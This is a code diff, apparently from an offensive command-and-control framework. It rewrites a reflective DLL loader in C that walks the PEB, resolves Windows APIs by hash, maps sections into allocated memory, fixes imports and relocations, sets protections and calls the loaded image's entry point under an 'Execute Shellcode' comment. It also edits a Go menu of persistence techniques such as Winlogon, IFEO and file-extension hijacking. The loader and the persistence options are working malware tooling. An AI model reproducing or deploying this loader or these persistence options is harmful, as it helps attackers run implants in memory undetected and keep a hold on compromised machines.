((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of name pointers - uNames = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uNameOrdinals = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNameOrdinals); - - uCounter = 1; - - // loop while we still have imports to find - while(uCounter > 0) + } + else { - // compute the hash values for this function name - dwHashValue = hash((char*)(uBaseAddr + DEREF_32(uNames))); + PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)lpVirtualAddr + pOriginalTD->u1.AddressOfData); - // if we have found a function we want we get its virtual address - if(dwHashValue == HASH_NTFLUSHINSTRUCTIONCACHE) + ULONGLONG lpFunc = (ULONGLONG)lpGetProcAddress(hImportModule, (LPCSTR)pImportByName->Name); + if (lpFunc) { - // get the VA for the array of addresses - uAddresses = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uAddresses += (DEREF_16(uNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if(dwHashValue == HASH_NTFLUSHINSTRUCTIONCACHE) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uBaseAddr + DEREF_32(uAddresses)); - - // decrement our counter - uCounter--; + pFirstTD->u1.Function = lpFunc; } - - // get the next exported function name - uNames += sizeof(DWORD); - // get the next exported function name ordinal - uNameOrdinals += sizeof(WORD); } } - - if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) - break; - - uValueA = DEREF(uValueA); } +} - // get the VA of the NT Header for the PE to be loaded - uHeaderValue = uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uBaseAddr = (ULONG_PTR)pVirtualAlloc( - NULL, - ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.SizeOfImage, - MEM_RESERVE | MEM_COMMIT, - PAGE_EXECUTE_READWRITE - ); - - // we must now copy over the headers - uValueA = ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.SizeOfHeaders; - uValueB = uLibAddr; - uValueC = uBaseAddr; - - while(uValueA--) - *(BYTE*)uValueC++ = *(BYTE*)uValueB++; - - // uiValueA = the VA of the first section - uValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uHeaderValue)->FileHeader.SizeOfOptionalHeader); +VOID ReallocateSections( + LPVOID lpVirtualAddr, + LPVOID lpImageBase, + LPVOID lpBaseRelocDir, + PIMAGE_NT_HEADERS pNtHeaders +) { + ULONG_PTR uOffset = (ULONG_PTR)lpVirtualAddr - pNtHeaders->OptionalHeader.ImageBase; - // itterate through all sections, loading them into memory. - uValueE = ((PIMAGE_NT_HEADERS)uHeaderValue)->FileHeader.NumberOfSections; - while(uValueE--) + // and we itterate through all entries... + while(((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock) { - // uiValueB is the VA for this section - uValueB = (uBaseAddr + ((PIMAGE_SECTION_HEADER)uValueA)->VirtualAddress); - - // uiValueC if the VA for this sections data - uValueC = (uLibAddr + ((PIMAGE_SECTION_HEADER)uValueA)->PointerToRawData ); - - // copy the section over - uValueD = ((PIMAGE_SECTION_HEADER)uValueA)->SizeOfRawData; - - while(uValueD--) - *(BYTE*)uValueB++ = *(BYTE*)uValueC++; - - // get the VA of the next section - uValueA += sizeof(IMAGE_SECTION_HEADER); - } - - // uiValueB = the address of the import directory - uValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uValueC = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uValueB)->VirtualAddress); - - while(((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->Name) - { - // use LoadLibraryA to load the imported module into memory - uLibAddr = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->Name)); - - // uiValueD = VA of the OriginalFirstThunk - uValueD = (uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->OriginalFirstThunk); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uValueA = (uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->FirstThunk); - - // itterate through all imported functions, importing by ordinal if no name present - while(DEREF(uValueA)) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if(uValueD && ((PIMAGE_THUNK_DATA)uValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + ULONG_PTR uBaseRelocRVA = ((ULONG_PTR)lpVirtualAddr + ((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->VirtualAddress); + ULONG_PTR uRelocEntry = (ULONG_PTR)lpBaseRelocDir + sizeof(IMAGE_BASE_RELOCATION); + + // Number of entries in this relocation block + DWORD dwNumOfEntries = (((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + while(dwNumOfEntries--) + { + if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_DIR64) { - // get the VA of the modules NT Header - uExportDir = uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uLibAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of addresses - uAddresses = (uLibAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uAddresses += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY )uExportDir)->Base) * sizeof(DWORD)); - - // patch in the address for this imported function - DEREF(uValueA) = (uLibAddr + DEREF_32(uAddresses)); + *(ULONG_PTR*)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += uOffset; } - else + else if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_HIGHLOW) { - // get the VA of this functions import by name struct - uValueB = (uBaseAddr + DEREF(uValueA)); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uLibAddr, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uValueB)->Name); + *(DWORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += (DWORD)uOffset; + } + else if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_HIGH) + { + *(WORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += HIWORD(uOffset); + } + else if( ((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_LOW) + { + *(WORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += LOWORD(uOffset); } - // get the next imported function - uValueA += sizeof(ULONG_PTR); - if(uValueD) - uValueD += sizeof(ULONG_PTR); - } - // get the next import - uValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); - } - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uLibAddr = uBaseAddr - ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - // check if their are any relocations present - if(((PIMAGE_DATA_DIRECTORY)uValueB)->Size) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uValueC = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uValueB)->VirtualAddress); - // and we itterate through all entries... - while(((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock) - { - // uiValueA = the VA for this relocation block - uValueA = (uBaseAddr + ((PIMAGE_BASE_RELOCATION)uValueC)->VirtualAddress); + uRelocEntry += sizeof(IMAGE_RELOC); + } - // uiValueB = number of entries in this relocation block - uValueB = (((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + lpBaseRelocDir = lpBaseRelocDir + ((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock; + } +} - // uiValueD is now the first entry in the current relocation block - uValueD = uValueC + sizeof(IMAGE_BASE_RELOCATION); +SEC(text, B) VOID Entry() +{ + + // Get this base address. + // LPVOID lpBaseAddr = ReflectiveCaller(); + ULONG_PTR uBaseAddr = 0x00; - // we itterate through all the entries in the current block... - while(uValueB--) - { - if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_DIR64) - { - *(ULONG_PTR*)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += uLibAddr; - } - else if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_HIGHLOW) - { - *(DWORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += (DWORD)uLibAddr; - } - else if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_HIGH) - { - *(WORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += HIWORD(uLibAddr); - } - else if( ((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_LOW) - { - *(WORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += LOWORD(uLibAddr); - } + PPEB pPeb = (PPEB)PPEB_PTR; - // get the next entry in the current relocation block - uValueD += sizeof(IMAGE_RELOC); - } + // ----------------------------------------------------------------------------- + // Get modules and functions + // ----------------------------------------------------------------------------- + + HMODULE hNtdll = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_NTDLL); + if (!hNtdll) + { + return; + } + HMODULE hKernel32 = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_KERNEL32); + if (!hKernel32) + { + return; + } + HMODULE hUser32 = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_USER32); + if (!hUser32) + { + return; + } - // get the next entry in the relocation directory - uValueC = uValueC + ((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock; - } - } + Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_LOADLIBRARYA)); + Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_GETPROCADDRESS)); + Procs::LPPROC_MESSAGEBOXA lpMessageBoxA = reinterpret_cast(Procs::GetProcAddressByHash(hUser32, HASH_FUNC_MESSAGEBOXA)); + Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALALLOC)); + Procs::LPPROC_VIRTUALPROTECT lpVirtualProtect = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALPROTECT)); + Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = reinterpret_cast(Procs::GetProcAddressByHash(hNtdll, HASH_FUNC_NTFLUSHINSTRUCTIONCACHE)); + + lpMessageBoxA(NULL, "Test", "Test", MB_OK); + + // ----------------------------------------------------------------------------- + // Allocate virtual memory + // ----------------------------------------------------------------------------- + + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew); + + LPVOID lpVirtualAddr = lpVirtualAlloc( + NULL, + pNtHeaders->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE + ); + if (!lpVirtualAddr) + { + return; + } - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uValueA = (uBaseAddr + ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.AddressOfEntryPoint); + PIMAGE_SECTION_HEADER pSecHeader = IMAGE_FIRST_SECTION(pNtHeaders); - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + MEMCPY( + (LPVOID)(lpVirtualAddr + pSecHeader[i].VirtualAddress), + (LPVOID)(uBaseAddr + pSecHeader[i].PointerToRawData), + pSecHeader[i].SizeOfRawData + ); + } + + // ----------------------------------------------------------------------------- + // Resolve IAT (Import Address Table) + // ----------------------------------------------------------------------------- + + PIMAGE_DATA_DIRECTORY pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (!pImageDir->VirtualAddress) + { + return; + } + ResolveIAT( + lpVirtualAddr, + (LPVOID)(lpVirtualAddr + pImageDir->VirtualAddress), + lpLoadLibraryA, + lpGetProcAddress + ); + + // ----------------------------------------------------------------------------- + // Reallocate image + // ----------------------------------------------------------------------------- + + pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!pImageDir) + { + return; + } + ReallocateSections( + lpVirtualAddr, + (LPVOID)pNtHeaders->OptionalHeader.ImageBase, + (LPVOID)(lpVirtualAddr + pImageDir->VirtualAddress), + pNtHeaders + ); + + // ----------------------------------------------------------------------------- + // Set protections for each section + // Reference: + // https://github.com/Cracked5pider/KaynLdr/blob/01887b038fac5ebb459eb6200c522173fce57cf6/KaynLdr/src/KaynLdr.c#L70 + // ----------------------------------------------------------------------------- + + LPVOID lpSec = nullptr; + SIZE_T dwSecSize = 0; + DWORD dwProtect = 0; + DWORD dwOldProtect = PAGE_READWRITE; + + for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + lpSec = (LPVOID)(lpVirtualAddr + pSecHeader[i].VirtualAddress); + dwSecSize = pSecHeader[i].SizeOfRawData; + + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + { + dwProtect = PAGE_WRITECOPY; + } + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + { + dwProtect = PAGE_READONLY; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_READWRITE; + } + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + dwProtect = PAGE_EXECUTE; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + ) { + dwProtect = PAGE_EXECUTE_WRITECOPY; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_EXECUTE_READ; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_EXECUTE_READWRITE; + } + + lpVirtualProtect(lpSec, dwSecSize, dwProtect, &dwOldProtect); + } - ((DLLMAIN)uValueA)((HINSTANCE)uBaseAddr, DLL_PROCESS_ATTACH, NULL); + // ----------------------------------------------------------------------------- + // Execute Shellcode + // ----------------------------------------------------------------------------- - return uValueA; + Procs::LPPROC_DLLMAIN lpDllMain = reinterpret_cast((ULONG_PTR)lpVirtualAddr + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + lpNtFlushInstructionCache((HANDLE)-1, NULL, 0); + lpDllMain((HINSTANCE)lpVirtualAddr, DLL_PROCESS_ATTACH, NULL); } diff --git a/pkg/common/parser/amtaskcommand.go b/pkg/common/parser/amtaskcommand.go index 985820e..9d108b9 100644 --- a/pkg/common/parser/amtaskcommand.go +++ b/pkg/common/parser/amtaskcommand.go @@ -645,10 +645,10 @@ func (c *amTaskPersistCmd) Run( "screensaver", "default-file-extension-hijacking", "ifeo", + // "scheduled-task", + "winlogon", // "netsh", - // "schedule", // "service", - "winlogon", "(cancel)", } res, err := stdin.Select("Technique", items)